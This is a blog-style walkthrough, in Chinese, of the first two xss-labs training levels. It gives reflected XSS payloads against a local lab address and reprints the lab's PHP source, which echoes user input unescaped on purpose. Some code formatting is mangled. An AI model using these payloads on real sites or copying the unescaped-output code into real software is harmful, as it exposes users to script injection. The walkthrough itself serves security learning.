xss-labs通关笔记
9unk Lv5

简介

xss 表示 Cross Site Scripting (跨站脚本攻击),它与 SQL 注入攻击类似,SQL 注入攻击中以 SQL 语句作为用户输入,从而达到查询/修改/删除数据的目的,而在 xss 攻击中,通过插入恶意脚本,实现对用户游览器的控制。
攻击者往 Web 页面里插入恶意 html 标签或者 javascript 代码。比如:攻击者在论坛中放一个看似安全的链接,骗取用户点击后,窃取 cookie 中的用户私密信息;或者攻击者在论坛中加一个恶意表单,当用户提交表单的时候,却把信息传送到攻击者的服务器中,而不是用户原本以为的信任站点。

XSS分类

XSS 分为三类:

  • 反射型 XSS:经过后端,不经过数据库

  • 存储型 XSS:经过后端,经过数据库

  • DOM型 XSS:不经过后端,它是基于文档对象模型 Document Objeet Model(DOM) 一种漏洞。

level1

漏洞利用

本关是以 GET 请求,提交 name 参数值 test。

level1-1.png

payload:

1
http://192.168.150.128/xss-labs-master/level1.php?name=<script>alert("xss")</script>

level-2.png

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

HTML分析

源码将 HTML 代码和 PHP 混写,在 HTML 中嵌入 PHP 程序块。

html>```:声明文档类型,用来告知 Web 浏览器页面使用了哪种 HTML 版本。
1
2
3
4
5
6
7
8
9
10
11
12
13

``` <!--...-->```:注释标签

```<html></html>```:这个元素包含了整个页面的内容,也被称作根元素。

```<head></head>```:这个元素放置的内容不是展现给用户的,而是包含例如面向搜索引擎的搜索关键字(keywords)、页面描述、CSS 样式表和字符编码声明等。

```<meta>```:提供了 HTML 文档的元数据。

``` text
http-equiv="content-type":在 HTTP 头添加 content-type 字段,表示描述文档类型

content="text/html;charset=utf-8":指定文档类型为 HTML,字符编码为 utf-8
"src" 属性指向外部脚本文件。
1
2
3
4
5
6
7

```<title></title>```:元素可定义文档的标题。

```<h1></h1>```:元素可定义 HTML 标题。这里表示标题一

``` text
align=center:规定标题中文本的排列。这里表示居中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

```<img>```:向网页中嵌入一幅图像


#### JS 解析

```window.alert = function()```:覆盖 alert() 弹窗

```confirm()```:确认弹窗,有 true(确认)和 false(取消)两个选项。当选择 “确认” 时,会执行下面的代码。在弹窗界面输出 “完成的不错!”

```window.location.href="level2.php?keyword=test"```:向 URL 提交数据 “level2.php?keyword=test”,并进行本页跳转

#### php 解析

```ini_set("display_errors", 0)```:不显示错误报告。为防止用户看到错误信息,而出现的不友好界面。

```$str = $_GET["name"]```:以 GET 方式获取 name 参数的值,并赋值给 $str 变量

```echo "<h2>...</h2>"```:输出标题二

```echo "<h3>...</h3>"```:输出标题三


## level2

### 漏洞利用

本关是以 GET 方式提交 keyword 参数值 test。这一关需要闭合 input 标签。

![level2-1.png](https://i.loli.net/2020/03/22/tRIlZFqjnemKxDL.png)

payload:

``` bash
http://192.168.150.128/xss-labs-master/level2.php?keyword="><script>alert("xss")</script><"

level2-2.png

源码解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

php 解析

HTML 实体。如果不用 HTMLSpecialChars,就会导致读取时,要把 ```